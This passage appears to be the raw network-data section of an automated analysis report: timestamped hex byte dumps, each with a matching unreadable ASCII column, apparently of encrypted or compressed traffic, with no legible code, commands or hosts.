9d f4 97 8c 98 a2 a4 ed 18 16 4e f2 38 a2 83 6d 11 09 42 ec 03 91 9e 2b b4 5b c4 aa 8a e6 02 b3 e4 f3 05 96 3a b8 24 df 
10 b1 53 c4 eb e1 d8 03 d4 a2 5d 33 21 a1 e0 d3 d4 
Data Ascii: xuitwq6=l&$fCO3^`=Po #XvKZ<0T^04L~`[O*ZK!4*ht5J9d6<|T* Kl.M9D$gOrQ_7 I$N8mB+[:$S]3!

2021-11-25 16:27:48 UTC 1142 IN Data Raw: b3 ee 04 0f 2b e2 61 65 ec b4 70 68 ea c1 38 e8 39 b8 d9 91 37 f5 2e 7a e2 e6 49 af 31 f4 2e c7 fd fe 80 53 ca 
41 8d 3d 51 63 af 51 f7 fb d6 70 b8 43 7c 47 f0 7c 47 3c 3f 6e a0 2c 29 34 8c 5d f1 e8 0a 4d 80 a0 ff ee 28 f1 0d c7 58 cd 
6d 0c d1 30 e8 c6 6f 8c 3c 24 94 42 43 07 66 25 83 06 a2 a3 cd e1 a5 33 f0 bc 2e c6 df 0d 1e 37 31 9a 45 26 ba 62 de e3 
d8 6a 0f 93 48 15 6c 04 18 c0 da 58 cc 19 82 5f 87 df 79 43 6c 46 a4 88 ca 32 54 3d 5d c9 c0 f5 63 ba 1a 8b ab 0e 5d 75 
c4 55 8f ae 7a e2 6a 8f ae f6 c4 d5 0e 5d ed 88 ab 5d ba da 15 57 c7 74 75 2c ae 7c ba f2 c5 15 8d 0c c3 27 8b dd 6a f2 
7c a6 62 c3 e2 55 53 5c 1d e0 c5 c1 a4 54 8d 38 88 a9 4d 37 c5 47 ac ce c1 c3 1f a1 10 0f a2 7f 69 00 5a 31 c5 c4 2c e6 
e4 c9 94 8f da d2 bb 52 0c 42 7c bb f8 68 f1 7d 62 
Data Ascii: +aeph897.zI1.SA=QcQpC|G|G<?n,)4]M(Xm0o<$BCf%3.71E&bjHlX_yClF2T=]c]uUzj]]Wtu,|'j|bUS\T8M7
GiZ1,RB|h}b

2021-11-25 16:27:48 UTC 1143 IN Data Raw: 9d 25 33 85 3a 0f ba 8b 5a 2f cc 40 5f a7 b0 20 cd 10 60 0f bd ac 19 e0 af 3a e1 45 2b fb 3a ce 84 6f 12 3a bc 
7a 0a df ad d0 dd cd 48 dd 6d ba eb f4 32 f4 57 22 cc 03 2b 25 5f 8b 11 d3 30 2c 1b c7 8a ed 30 56 7c 9d 01 80 ae 9e 62 
54 2f f4 7c 48 c0 a3 05 e3 d0 9f e2 1d a7 17 ab df d6 a7 21 10 af 8b 95 d3 ad 51 eb 08 a5 33 41 10 5c d1 5c 7e 29 43 d9 
3a 87 9f 5e 4f 98 7f 79 bd 34 8d c4 8b bf 17 c6 79 c4 d1 34 b9 83 c5 e9 21 a8 70 82 b1 12 6d ee 87 53 6b f7 00 c9 2d ff 69 
67 fe 5a c6 58 6c 32 8e b2 4f 8b d9 e1 36 2b 7c 66 8f 39 29 d2 23 a7 b7 31 7b b7 01 12 4e 64 be bc 6e 98 6a 7f 79 4a 08 
18 09 78 f1 b9 d1 75 7b cf 12 0a c8 48 91 75 0c 0a 85 ea 73 f1 a1 6d 38 0d ba 1a ad 69 02 eb cd 6b ca 2e e0 b5 5b e9 6e 
95 bd 3c c1 d4 4d 3f 2c f0 a8 62 87 8f 86 22 4a d2 
Data Ascii: %3:Z/@_ `:E+:o:zHm2W"+%_0,0V|bT/|H!Q3A\\~)C:^Oy4y4!pmSk-igZXl2O6+|f9)#1{NdnjyJxu{Husm8ik.
[n<M?,b"J

2021-11-25 16:27:48 UTC 1145 IN Data Raw: 2e b1 e6 b6 b1 c4 8e 5f 8c fc 32 7b aa 60 d4 8d 71 c5 58 66 47 9b 46 7e 95 9d 6e 1a 2b 6c 6f d3 58 65 8d 3d 
63 8d f9 18 05 99 9d 6c 1a eb ec 12 1a e4 d8 29 fc cd b3 33 f8 0b dd bf 18 18 8e 1a fe ae b2 2b f8 bb c6 9e e0 d5 6b 6c 0c 
7f d7 59 0d 43 6a 33 1f fe e6 59 1d 83 54 b3 06 fc 2d b2 4b 18 d4 12 db 7c 33 0a eb ec 0d e3 30 b3 c7 1d 0a e1 dd e3 21 
bc fb 3b 14 c2 db dd a7 10 de 36 16 4b cc c1 62 99 75 b1 58 61 6d 2c 56 59 07 8b 35 b6 83 c5 3a ab 40 01 03 dc c6 22 cf 
8e 5f 0d 34 dd dd c3 a2 c8 f6 b1 58 62 8d 0a c5 03 6f 57 28 10 78 a7 42 81 c0 9b 15 0a 04 de ad 50 20 f0 56 85 02 81 ef f2
c0 d4 3b 2f 14 98 7a bc 45 81 a9 47 5b 14 5f fa 70 8f e2 4b 1f ec 51 7c 69 bf 42 f1 a5 eb 15 0a 2c fd f3 85 02 4b 5f bf 50 60
e9 eb 1d 0a 2c 7d b5 43 81 a5 9d 1d 0a 2c 6d 
Data Ascii: ._2{`qXfGF~n+loXe=cl)3+klYCj3YT-K|30!;6KbuXam,VY5:@"_4XboW(xBP V;/zEG[_pKQ|iB,K_P`,}C,m

2021-11-25 16:27:48 UTC 1146 IN Data Raw: 6b 38 b2 3a 7d ba 3e a2 30 50 0d 57 10 4b 5b d5 70 ca 02 ab 6b b5 5f 47 0d 07 b8 22 6b d0 1a 78 4e 6f e0 66 
8f e1 e7 05 fd 44 7d 17 2b 7f 2e 4d d3 b4 61 71 25 55 cc b7 44 c8 8b 54 54 79 8a 99 7a 25 05 78 a3 74 99 44 5a 2d b3 1c 
16 02 70 5f 92 c8 58 02 66 b7 9b be 7f 90 de 5f 7d e9 6f 27 73 e8 64 c8 fc da 51 fc b0 cb f9 e1 e0 56 c6 4a bb 82 15 56 be 
1d dc 77 85 c2 32 c2 eb 0f c3 f9 a4 e5 8b 31 f8 35 73 80 d7 74 7e 28 e1 8c 8c 72 f3 ed 9b 93 b1 ef 9d ef b9 07 53 3d bb 77 
84 ad c9 d9 48 17 ec dc 73 e1 
Data Ascii: k8:}>0PWK[pk_G"kxNofD}+.Maq%UDTTyz%xtDZ-p_Xf_}o'sdQVJVw215st~(rS=wHs

2021-11-25 16:27:48 UTC 1146 IN Data Raw: 91 f6 05 36 e9 62 be b4 a0 e2 d4 6f 86 57 bb 66 be e4 26 bd da cd 38 f7 ee f7 bc fe 6a f7 a1 64 05 52 2a 6b 83 
14 16 86 85 d1 c2 30 c0 13 0f 88 3a 6b 92 2a 82 1f 46 5b 30 31 5d 4c ed 37 c3 62 07 4d 03 b3 6d 91 54 a6 f9 cf 4e d7 dd 
5c d3 d5 82 7a ff bf 9a ad dc 44 ea 9f 2a d1 63 46 f9 94 ca dc 85 7f ab ca 36 51 6a 10 c4 96 b5 d0 f6 71 e1 19 78 a3 05 21 
78 75 53 a1 ec ab 2a d7 92 8d c7 bf 54 99 da 47 ea 5b da 41 d0 52 00 12 e9 7f 8f 6b 5e ae 46 a0 05 2e 57 c4 65 86 c7 b0 
93 f9 98 b0 43 ee 9a e9 f3 a0 8e 94 fe 93 03 98 ed aa 32 92 1f 8f af 7c cf 4e b1 1a a6 4f 4e 55 97 9b ab eb 0e f4 7c b9 e3 
df ed d9 c2 64 7e 27 24 eb 8c 03 96 24 78 52 76 a2 10 04 81 c6 0e 01 8d 9d cf 4c a0 02 61 da 6e 58 b4 b5 13 b2 82 08 81 
ae e9 3a fd dd 2a db a9 66 4a bb 9f bd 35 3c ac 
Data Ascii: 6boWf&8jdR*k0:k*F[01]L7bMmTN\zD*cF6Qjqx!xuS*TG[ARk^F.WeC2|NONU|d~'$$xRvLanX:*fJ5<

2021-11-25 16:27:48 UTC 1147 IN Data Raw: 14 da cf 2e 5c 36 e0 b4 2f 94 31 63 c6 25 9a 0c a5 30 0e e6 e3 98 a2 ff 60 a3 05 d5 6a 21 dd b2 fb c3 0c 54 50 
bd 4e a9 f1 30 51 a8 41 f1 09 d2 0f ae 87 26 90 78 e0 ad 5f ec 67 15 03 5a ff d2 e6 ec 36 39 0c 0c 00 dc fb dc 03 cb 17 96 
80 cb 34 35 b5 a8 f3 57 1e f6 12 fc 01 36 5c 54 5a ca 61 ce 63 ad 8e a5 ea 60 c6 98 bf 31 9b 30 fc b5 42 a1 c9 75 02 a2 
bd 91 5d 59 fe 93 ff fc 96 2d 2e ff 09 3b 9f 3b 6f c1 47 00 b1 03 7f 30 26 32 ab 53 02 e2 fc f2 df f6 86 4c 83 68 d6 0d e0 f7 
79 d3 1f 0e 56 e3 5f ff f5 ab 2b cd 17 fd 45 0c 6c 55 e7 1e 6d 3d e8 ae b0 5d fc f1 7c 91 ae 53 aa 23 e1 46 b7 d9 32 1c b6 
e3 c3 89 3b 41 a7 79 db 36 6c d6 b4 8d 1a db b6 0c 0f b8 e8 d0 9c e9 27 5b 8b 74 79 e2 93 61 4f d3 2e c1 1e df b6 3e 3e 
30 9f 72 55 a0 10 7b a3 b8 ba b4 6a 14 57 
Data Ascii: .\6/1c%0`j!TPN0QA&x_gZ6945W6\TZac`10Bu]Y-.;;oG0&2SLhyV_+ElUm=]|S#F2;Ay6l'[tyaO.>>0rU{jW

2021-11-25 16:27:48 UTC 1149 IN Data Raw: 00 15 3f 01 ea d0 62 41 80 6d 68 b3 20 1b 69 54 e2 6d 70 84 5f 2f e4 4c 85 48 47 21 9f c2 39 6b 70 20 dd 32 
1b bf 42 72 94 98 60 44 ac 42 aa ed 9c 2c 03 51 14 7b 99 af 82 b6 d0 6b ef 54 60 8d 2f ad 99 40 3f c8 33 42 89 21 a2 61 
66 55 72 b9 ed 1d f8 fd f1 f1 84 85 cc 90 67 62 4e 3b 24 e8 8d 74 07 e0 ef 1e c1 df 0e d4 ca c1 89 07 74 e1 b3 75 bc c8 00 
19 d6 51 52 14 cc 5d e7 c1 29 aa 99 82 8c ba 55 91 0a 81 69 c9 fd 70 03 df 7a 37 8e 5c 66 8e 07 df 03 cd 10 c9 88 57 33 
1c 15 4e 76 87 60 3f 5a 4d b8 61 f1 4c 90 be 90 1a ad 60 2b 1a 61 12 75 a7 9b 64 b8 19 86 99 28 30 59 2c d0 69 d7 16 a6 
76 50 62 c6 1a 05 f1 13 a4 df 18 95 cd e2 58 65 00 5e e5 b7 97 90 8d be e5 49 d8 25 32 1a 3b 86 c7 7e 76 80 9b c6 7d 3d 
1e 02 0b 7d 32 02 b6 1a f8 e8 fa 84 96 31 c2 3d 5b d9 
Data Ascii: ?bAmh iTmp_/LHG!9kp 2Br`DB,Q{kT`/@?3B!afUrgbN;$ttuQR])Uipz7\fW3Nv`?ZMaL`+aud(0Y,ivPbXe^I
%2;~v}=}21=[

2021-11-25 16:27:48 UTC 1150 IN Data Raw: e8 f1 d6 18 53 95 5f 36 de e6 90 6e 44 5b fc 1e 4c e2 ad 17 78 f3 05 6c 3f 4d 10 8d 20 a3 27 40 46 ef 3f 07 19 
ca 03 19 8e ab c3 8f ab a3 83 0c 77 c3 21 90 e1 2a b9 af 4b 20 c3 41 90 e1 04 20 c3 d5 5c ed 7f 17 64 4c 1b 03 82 09 c7 
54 af 29 49 f9 32 f7 57 96 87 ee 08 8e da 6f b1 49 ab d0 d9 f7 3c c1 0f 38 7f bd 79 76 dc 91 dc 67 fd 7f 0d eb 5d f6 3d cf f1 
b7 5f fa 56 d7 9d 29 47 8b 56 9c 63 83 f1 26 0b bc cd 02 36 0a a3 bb 76 18 7d 01 96 ff cb 51 b2 47 21 48 00 6c a7 88 71 
b1 13 43 22 4b b1 25 fb 62 4b f6 ff 67 b0 d8 f8 7f 18 8b 4d 17 7f 8d 75 f1 17 7d d7 14 f1 d7 a0 0d ad f2 b9 22 a5 2e 8c 7f 
7a 48 24 e0 4f 22 86 2b c8 1c 7d 46 6a 5b 82 d4 8e 64 9b 11 f8 10 d7 52 43 87 34 01 24 c6 72 28 a5 04 1c f4 27 fc 8d cb 
0d 8f a5 bd aa 95 f9 4b 60 bb 6f 79 74 eb 30 
Data Ascii: S_6nD[Lxl?M '@F?w!*K A \dLT)I2WoI<8yvg]=_V)GVc&6v}QG!HlqC"K%bKgMu}".zH$O"+}Fj[dRC4$r('K`oyt0

Timestamp
kBytes
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2021-11-25 16:27:48 UTC 1151 IN Data Raw: 3e 63 00 88 d2 cc 3a 46 73 c0 a5 44 c5 01 3a 37 c6 14 f3 ca 2e be 4d 76 f1 a3 b9 74 00 75 01 88 9e 48 07 30 
fe 65 a6 9f 02 d1 7e a0 03 28 a2 b4 1e 9e f0 4f 35 ef 8b 21 a1 ff 93 50 bf 3f ff 16 34 4b f2 a4 0f e0 95 af e0 15 d6 1a 25 40 
27 19 be b5 3e d3 52 5e 83 53 db 75 82 53 cf 36 c1 29 58 63 97 0c e6 01 92 04 06 f3 78 81 2b 8e 36 f0 0e 45 13 40 b0 f3 
de 41 38 b5 07 9c 25 9c 4e 77 c3 21 af 59 b2 86 a7 9f 21 6b f8 67 05 81 5e fe 25 c9 e1 89 37 f2 1e 11 98 0c 93 21 51 f0 fc 
33 01 4e a3 bb 40 95 e9 f6 30 2c b9 f1 b5 64 52 21 15 69 4f 17 ca bc 08 60 f4 32 a7 fd 7b a2 58 46 ad d1 f6 0e c9 00 9f b0 
d0 c4 32 de 86 4b 62 19 dd dc 1c 45 23 2e 8a 65 dc 40 2c e3 29 b1 8c fb db 62 99 69 63 40 d2 0d 2d 58 c5 6b 4a 81 01 bd 
9b 09 44 28 9d 46 77 aa cc 24 2c ad 51 ef 51 
Data Ascii: >c:FsD:7.MvtuH0e~(O5!P?4K%@'>R^SuS6)Xcx+6E@A8%Nw!Y!kg^%7!Q3N@0,dR!iO`2{XF2KbE#.e@,)bic@-
XkJD(Fw$,QQ

2021-11-25 16:27:48 UTC 1152 IN Data Raw: 75 05 3f 07 a3 51 ea 61 56 34 3c fb de 79 30 31 d1 8f dc 9b 70 fd f1 91 1a cb a5 53 87 d8 9e 30 98 73 b3 ec a4 
df 4f 0e 0c 20 45 0f 8c 3c 3b 3b c0 70 f2 07 46 91 ed 1e 18 4b ec e0 c0 58 66 87 07 c6 0a 3b 3a 30 56 d9 f1 81 b1 c6 f6 0e 
28 3e 3c fc cd 4f 32 6c 9b 68 5e d8 a7 66 7a fb 17 a0 96 60 93 c0 a3 fb 3c 5c 6f 8f 7c 6f 00 0b 45 37 0a 70 e3 a6 b1 d3 a0 
8b 22 5d 74 f0 13 e1 6a 09 ae b6 da 63 6f d4 eb 61 d4 0f b8 b3 0c 77 8e 7b 76 a3 ed d1 e5 8a ba 5c 28 ec d2 9d d5 68 f7 
6b 41 95 22 af 92 c7 21 55 c6 9d ce 2b bf c4 11 fd 3c 3b c1 0b 11 b1 f1 1f 03 2e 27 7c 33 06 90 25 2c ef 50 3a 5f 65 6d a9 
59 c1 13 74 de 91 ae 60 3b 61 57 b0 f9 bc b7 12 2d 15 d1 e3 75 aa d9 23 7b 54 d6 de 64 a8 22 cc 20 f3 39 61 d4 d4 53 96 
23 ca e8 fb 5b 60 ee f8 fd 11 ed 94 d0 d6 d1 
Data Ascii: u?QaV4<y01pS0sO E<;;pFKXf;:0V(><O2lh^fz`<\o|oE7p"]tjcoaw{v\(hkA"!U+<;.'|3%,P:_emYt`;aW-u#{Td" 9aS#[`

2021-11-25 16:27:48 UTC 1154 IN Data Raw: 34 60 6a bc 30 be 0c c3 3e 8d 47 8c b3 97 60 2a 45 df 47 c3 e0 1e 3c 66 47 8c e1 47 07 c6 84 a9 b3 b8 89 d4 
23 83 57 a3 c6 d4 31 1d db da 70 6d 2b ed 64 0c 8f 0a 82 a5 4e 44 72 e0 e0 27 41 65 de 1d 17 46 62 48 07 24 69 18 89 
1d 03 d1 00 f3 35 00 ea 92 cf dc cf 90 75 29 5c b9 04 40 5d 9d a6 11 42 cd 5e 44 3e e0 a1 7c 00 af bf 58 fa fc 58 7c 22 54 
3c 27 0a 8e ec 21 04 f5 03 31 81 c8 33 e4 da 51 35 dc 6c df 51 fc d8 1f 2e fc d9 70 0d 67 c2 f0 75 00 27 e8 7d b9 89 4c 65 
6d e1 8c 08 e3 87 3c 11 45 5c 5d 77 82 31 9a a9 ae 45 93 05 63 b8 9a a6 ca 10 d1 db 4e 6c 2d 98 55 28 f8 78 a7 11 86 
22 42 23 eb d9 49 bb fe f7 3f 4a 51 44 ea db 2c d8 a2 f0 5d e8 54 42 2b 2d 1a 0b cc 5a d8 5e 02 d4 ba a1 cd bf 3d 11 56 
1c e1 53 f9 1b 52 19 72 ea a3 77 69 e2 99 4f 31 59 7e 6d 
Data Ascii: 4`j0>G`*EG<fGG#W1pm+dNDr'AeFbH$i5u)\@]B^D>|XX|"T<'!13Q5lQ.pgu'}Lem<E\]w1EcNl-U(x"B#I?JQD
,]TB+-Z^=VSRrwiO1Y~m

2021-11-25 16:27:48 UTC 1155 IN Data Raw: 69 9a 2c c8 32 97 72 c5 e5 24 45 34 3d 29 24 6a a0 e9 51 31 51 f5 4c 8f 96 26 56 00 24 ac 90 c8 bd 50 5c 8d 
d0 01 bf 4b fc 9f 24 12 ff c9 7a e9 df 54 4b b7 09 82 b4 00 82 b4 73 11 b5 34 dc 08 a9 a5 e1 3a a2 96 86 3b 89 6a e9 b6 
00 2f 9d 38 7f f0 db d9 34 77 13 c2 f2 7d 1e 7f 2f 1e a3 af 1d ca 84 e4 cb 14 48 52 6e c3 c3 a8 59 b9 e9 61 d4 76 66 67 db 
1c 3b 94 6d f3 d9 66 3e 25 dd 2c 79 18 a0 68 d1 cd 76 4a 70 ba ea 94 19 0b 2f d2 de c7 87 af e5 d1 dc 25 51 53 0d 45 4d 
a8 fe f5 36 5c 1c 55 ce e0 39 72 3a 31 51 13 e7 51 dc 5c 52 30 b7 59 a1 f7 b4 a1 8e 3a 53 86 ea eb 43 f5 63 43 dd 63 ef fb
03 18 aa 77 64 2c ca b1 fa c1 58 45 f6 cf 2f da 60 b9 24 ab 9e 30 ab 52 92 35 fe 64 56 a7 0d b5 a9 0f b5 19 1b ea b1 18 
aa af 0d b5 19 0c b5 19 9b 56 2e 2f 6b 26 8c 54 06 
Data Ascii: i,2r$E4=)$jQ1QL&V$P\K$zTKs4:;j/84w}/HRnYavfg;mf>%,yhvJp/%QSEM6\U9r:1QQ\R0Y:SCcCcwd,XE/`$
0R5dVV./k&T

2021-11-25 16:27:48 UTC 1156 IN Data Raw: 6e db 3b 83 19 3f e9 8d 1a b5 06 10 f4 28 a4 6d 74 9f 7a 2d cf 65 0b b6 05 3b 67 61 d8 78 f3 30 fe 8d da d6 a5 
20 87 20 40 05 46 d1 ca 13 5e 6e c1 0b c5 eb 81 47 e0 2f ce 2d 2a 3b f9 af 5f f3 a6 76 b1 67 4b d4 e0 cb d3 f7 25 f4 ed 7e 
c2 b7 63 20 9a d1 16 76 0c 04 33 2e 62 11 5f 8b 77 8f 0e 60 41 65 a8 63 78 69 06 46 9c e6 b4 6a ae e4 fc b8 3c 0e 32 22 
da e6 e5 f1 bd f3 90 7d b1 f9 e2 5a 5c 33 8b e1 91 4b ce b7 6f 99 d2 a4 24 df bc f0 94 c3 97 a7 a5 c4 92 12 a0 a6 52 86 45 
01 ac be 99 a9 5f a9 20 2e d3 b7 37 24 cb 78 1c ca 38 e8 b8 99 25 56 bb 30 ab b5 74 94 f3 c7 fa d9 2d 38 27 c8 a5 cb 88 
26 03 e0 1b 04 aa b0 82 a0 e6 e2 46 d6 17 34 93 88 dd 33 16 25 f0 6e 18 42 0d c3 db 98 81 ba b8 d5 c9 da 78 46 74 92 
94 e7 09 30 9f 73 9c 97 e1 eb a3 d7 13 15 1b 89 6d 
Data Ascii: n;?(mtz-e;gax0  @F^nG/-*;_vgK%~c v3.b_w`AecxiFj<2"}Z\3Ko$RE_ .7$x8%V0t-8'&F43%nBxFt0sm

2021-11-25 16:27:48 UTC 1158 IN Data Raw: 56 c8 b6 b3 3f e1 13 c9 a9 b2 8d f1 88 ed ec 71 c3 74 26 ea e9 b0 96 96 92 0b 87 36 1e af 07 ab 70 05 f5 a4 44
29 fb 06 bb b2 5b 23 c3 2d 51 c1 c9 5a a4 79 b1 b5 5a 3f 0f 79 0d 86 dd b4 ea b2 27 9f d7 53 3d d7 23 d7 ed c8 75 33 72 
5d e6 d7 1d 58 1c 58 f8 4c 29 36 99 fc f5 99 ec e1 28 3c 42 bf 8f 2d 1d d3 c7 65 95 37 77 1b c4 a8 f0 81 5b 30 6f a6 2d a7 
74 13 90 69 78 3e 53 fb 27 fb 57 fb 9b 47 a9 45 f3 8b a5 21 a1 8c 85 90 06 13 21 bc e3 59 1d c0 2c 7e fd 2a 9c 0b 57 8b f0
7b 71 f7 22 5d b9 48 a7 ce ed e5 aa 65 a7 28 85 a5 c3 97 c0 c9 6e e3 3b b1 9d d5 40 1d 00 6f 2d 5b d8 c5 dd eb 66 2d d2 
c2 92 2d 1e 6b 1f 1f a2 e2 a0 70 b2 b6 eb 44 2a 3e d6 44 c5 ad 96 aa 78 e0 16 07 a7 91 7a 5b 2d 51 af dc 08 5e dd cd 5d 
55 97 22 15 cb fc cd f2 db 96 33 00 bb 9a 75 23 
Data Ascii: V?qt&6pD)[#-QZyZ?y'S=#u3r]XXL)6(<B-e7w[0o-tix>S'WGE!!Y,~*W{q"]He(n;@o-[f--kpD*>Dxz[-Q^]U"3u#

2021-11-25 16:27:48 UTC 1159 IN Data Raw: 04 cd 11 58 64 94 24 9d 6f 21 ce d3 14 62 9f 82 9b 87 56 ab a8 64 75 1c c5 cb 1e 2c 3f 6d 07 b9 a3 16 62 23 8f 
ce ad e5 47 d6 2d 18 b5 00 08 41 5b 84 09 e1 71 93 a2 8a 02 6d 07 36 36 be 24 00 e4 90 08 08 85 ee 10 28 08 dd e9 c5 
ea b8 b1 3b 01 69 11 08 1a 63 ad ea 1a 00 54 93 b5 14 3d 13 d7 fe 3f b5 93 2c d7 15 3e 94 b0 b4 35 a2 78 d8 82 ed d1 0c 
01 a5 b0 80 5e da a1 fd 04 db 09 01 13 ad af a7 89 1d 79 1a 51 3b a3 12 38 d4 b3 87 96 34 db b7 52 46 58 c4 ef d4 89 75 
d6 2c f1 9f a2 55 1a 3e 1e 4e 45 1f 70 8c e6 47 44 36 ba 6c 80 0e 6d b5 96 64 e2 90 1a f0 78 a2 b5 c6 60 38 5a 20 c3 58 
c0 73 56 c7 43 cb 3c 47 8a fe 48 39 4f 20 6d 85 ad e5 d0 a1 12 6d 1c cc 5c 4c 1e d3 0f 6b 5d ad 2c f0 fd 30 c9 a6 64 3f 37 
80 e8 3c 3d 3b db ae a4 4c 61 ce e7 6d a4 2b 3a d9 20 
Data Ascii: Xd$o!bVdu,?mb#G-A[qm66$(;icT=?,>5x^yQ;84RFXu,U>NEpGD6lmdx`8Z XsVC<GH9O mm\Lk],0d?7<=;Lam+: 

2021-11-25 16:27:48 UTC 1160 IN Data Raw: 6c 74 24 a6 b5 24 a7 d3 49 c2 b3 0e ef c7 85 03 54 4d 93 38 dc 47 e7 ec ec 16 6a 4c 3c d3 fd 96 fa 2b f5 cd 83 
cf e6 5f b0 61 8b c4 df dc b4 d5 01 82 c2 16 64 d9 bd f3 90 21 17 23 a2 09 85 d5 a1 43 6a 16 3e 9d 88 88 c4 44 3a 48 95 
44 26 d2 c9 f0 6f 4f a0 36 b5 41 86 e9 90 47 45 87 3c 4a f3 3e e0 93 1f 9d 34 d9 be 3a e8 6d 45 16 db f2 51 09 55 c1 2d fc 
34 69 f7 84 df 49 76 dc ea eb d1 6b 12 7b d8 48 75 c6 29 23 d5 6e a4 58 87 7f 55 1d 8d c1 ad 8b 74 87 39 ac 86 86 da fc 
1b dd 0d 20 85 2f 4e d3 ef 55 df a8 33 94 df 32 52 a0 a2 45 a2 08 d1 eb 61 f2 29 d6 11 5b 2e 63 9c 9d c2 24 f8 38 c1 5e 
b6 0a ac 7d 89 8c 52 60 b2 4e f1 81 b7 f1 25 e5 00 df 99 1a 3a a9 4c e9 9c 6e 65 66 ec 31 98 1e 8d fe 76 12 e9 6f d8 fd 7c
0d fb 36 1a e3 a0 55 8d 2b 0d 5e 50 7f e5 08 5b 
Data Ascii: lt$$ITM8GjL<+_ad!#Cj>D:HD&oO6AGE<J>4:mEQU-4iIvk{Hu)#nXUt9 /NU32REa)[.c$8^}R`N%:Lnef1vo|6U+^P[

2021-11-25 16:27:48 UTC 1161 IN Data Raw: 3a ff ec 8f 24 cb 18 37 b0 11 73 37 92 ac e2 27 86 5b 8a af ab 87 3a 2d f4 51 76 51 67 44 36 29 cc ca ff a7 fd 
97 51 c1 32 ab 6f 0e 18 f2 d3 01 07 6d 42 f4 50 1c f4 da 6d 6f 20 a5 85 49 10 e3 a8 9e 10 2f 24 7a 47 ed ef a3 3a 09 f8 ef 
80 a5 b0 f2 a2 0e 93 4f 22 6f 85 5b b1 5a be aa fc 64 5b b4 11 ed 3c 6e 44 3b af ed a9 a3 76 12 66 8b f5 de 26 98 aa 80 
ee 33 d9 e7 cb da 45 b2 f2 3b b0 50 bc 52 50 bf 03 10 fd 14 aa 8d 04 34 6c ee bc 0a 18 f4 6c cb 69 76 93 96 f1 35 17 89 
30 a5 6c a0 02 60 bd 13 d8 77 22 87 c5 ef 29 37 8d dd 90 13 88 70 0c dc 95 de 5c 67 96 66 05 79 ab 1a fd 0c 35 6a 08 7d 
df 4f d9 aa 11 35 b2 01 94 55 43 5f 50 b2 53 9b 6e 49 e5 e4 b9 7a 13 05 8d f2 b7 18 f0 c8 0a bd f2 46 20 f0 91 25 df 39 36 
df 27 c2 2f 50 3a 9c 08 47 16 ed 0b 3a e6 bb 6f 
Data Ascii: :$7s7'[:-QvQgD6)Q2omBPmo I/$zG:O"o[Zd[<nD;vf&3E;PRP4lliv50l`w")7p\gfy5j}O5UC_PSnIzF %96'/P:G:o

2021-11-25 16:27:48 UTC 1163 IN Data Raw: d7 9f ba 71 4b 5c 4c b2 b3 55 f2 b3 63 8c 8e 84 b3 0d ac 88 f4 db 4e fb 62 ba 60 73 fa 9c c3 05 90 5f 46 4d 3c 
fe f5 04 a4 af 7c f2 b5 a9 0c cb 03 55 73 9c ee b0 fc 2a 6c dd 0d e9 21 a2 d7 86 c3 d9 ea f6 9c 16 6e 13 01 64 58 31 f7 77 
4d 55 7e 6e b4 db 0b 40 99 7b 9d fe 68 c1 aa 5b 68 8c 54 03 0e 64 81 42 88 42 ed 2f e5 a7 34 06 79 93 04 31 1e 18 40 3c 
8f b0 5b 70 17 d4 be e5 d1 b8 4a 76 d7 b1 5e f8 0b 65 9f 8c 60 05 be be 49 94 21 4c d6 36 e5 28 85 fd 53 28 2e e9 6d e9 
cb 86 c3 05 8b ef 6a ab eb 12 7c b1 44 87 00 4c c7 6d d8 e0 b0 79 00 c6 b9 12 c6 a1 17 b7 42 10 2e 5e fe d4 7c 25 c8 75 
db e5 05 5d 1d da b0 09 6f 3c 56 e6 be 23 f0 19 a8 11 26 db 9c b4 d8 f9 b0 49 8f 30 d8 41 e4 66 c3 46 e8 8b 13 b0 dd 65 
96 38 eb 28 e4 34 75 98 80 c2 eb ed 6e 02 74 e6 3c 
Data Ascii: qK\LUcNb`s_FM<|Us*l!ndX1wMU~n@{h[hTdBB/4y1@<[pJv^e`I!L6(S(.mj|DLmyB.^|%u]o<V#&I0AfFe8(4unt<

Timestamp
kBytes
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2021-11-25 16:27:48 UTC 1164 IN Data Raw: 19 0d 8a a1 13 8f da 9f c3 59 1a 94 d9 4a 06 03 ba 8a 8b 2f 2b c0 af 66 32 3f ef 78 9c 00 1e 94 a0 e3 b0 77 f7 
d9 70 49 57 71 97 5e 5f 47 6b 33 58 08 f3 3d 6f 60 f2 d3 02 fc cd b3 22 fc 2d b0 25 f8 bb c2 96 e1 ef 2a 5b 81 bf eb 6c d5 
28 e4 57 58 1e aa 16 8a c0 03 1b 85 e2 32 00 1c 28 e0 26 b4 29 ae b2 3c 34 2a ae b1 3c b4 2a ae b3 3c 34 5b ca 4d 58 
85 bf 00 bb 2f 42 67 45 f8 5b c4 ee 81 8d 5e 86 df cb d0 3d de 5f a5 bf 6b 06 4a de f0 25 f9 55 ae 91 f3 a3 c2 b7 cc 7b eb 
3a a4 8f 73 50 3e 1c 8d 07 db fc ff b8 7b d3 ae 36 92 a4 6d f8 3b bf 42 d4 d3 87 ae 1a 12 59 0b c6 b6 d4 ba 75 63 56 b1 
37 8b 6d 4c f3 f4 a9 4d 25 81 16 d0 c2 62 d0 7f 7f 63 c9 cc ca 5a 84 dd 33 f3 7c 79 e7 4c 1b 55 55 ee 4b 64 44 64 c4 15 
9a e7 65 df 87 84 d7 83 42 77 ef 27 bc 1e 22 61 1d 
Data Ascii: YJ/+f2?xwpIWq^_Gk3X=o`"-%*[l(WX2(&)<4*<*<4[MX/BgE[^=_kJ%U{:sP>{6m;BYucV7mLM%bcZ3|yLUUKdD
deBw'"a

2021-11-25 16:27:48 UTC 1165 IN Data Raw: d2 cf 53 45 e5 71 b5 61 da c0 44 ed 53 11 12 9e e2 ef ca 36 ec bb ab c2 2a c8 bf 46 b6 ed 38 f9 ba d4 0e 1e bb 
29 8c f9 13 b7 a1 10 3b 7b df 6f 7e 10 06 28 7d f8 96 6c f0 10 c3 05 20 b3 db 2b 8b 9b 13 a7 de 33 67 35 09 4e 27 f9 63 d2
a3 f6 a5 8d 01 a3 76 71 49 45 bf 17 ba 23 0d 72 2f 3b 0a 73 39 17 79 6e a1 f7 8b 1c 8e d2 5b 32 bf a0 19 95 65 ab d0 9f 
a2 b3 95 7a 81 a8 72 77 a8 d0 d4 af 76 e0 0d 73 08 0c 6b 27 5f 77 e0 b5 64 f5 ad 65 a9 04 92 0e ce c5 2e 33 08 0e 33 40 
89 26 6e 26 d6 38 62 21 0c e4 40 58 67 30 30 77 7c 79 89 c5 92 2d 4b a1 8b ed 70 a1 44 27 19 c4 10 19 ee f5 69 d0 1d 
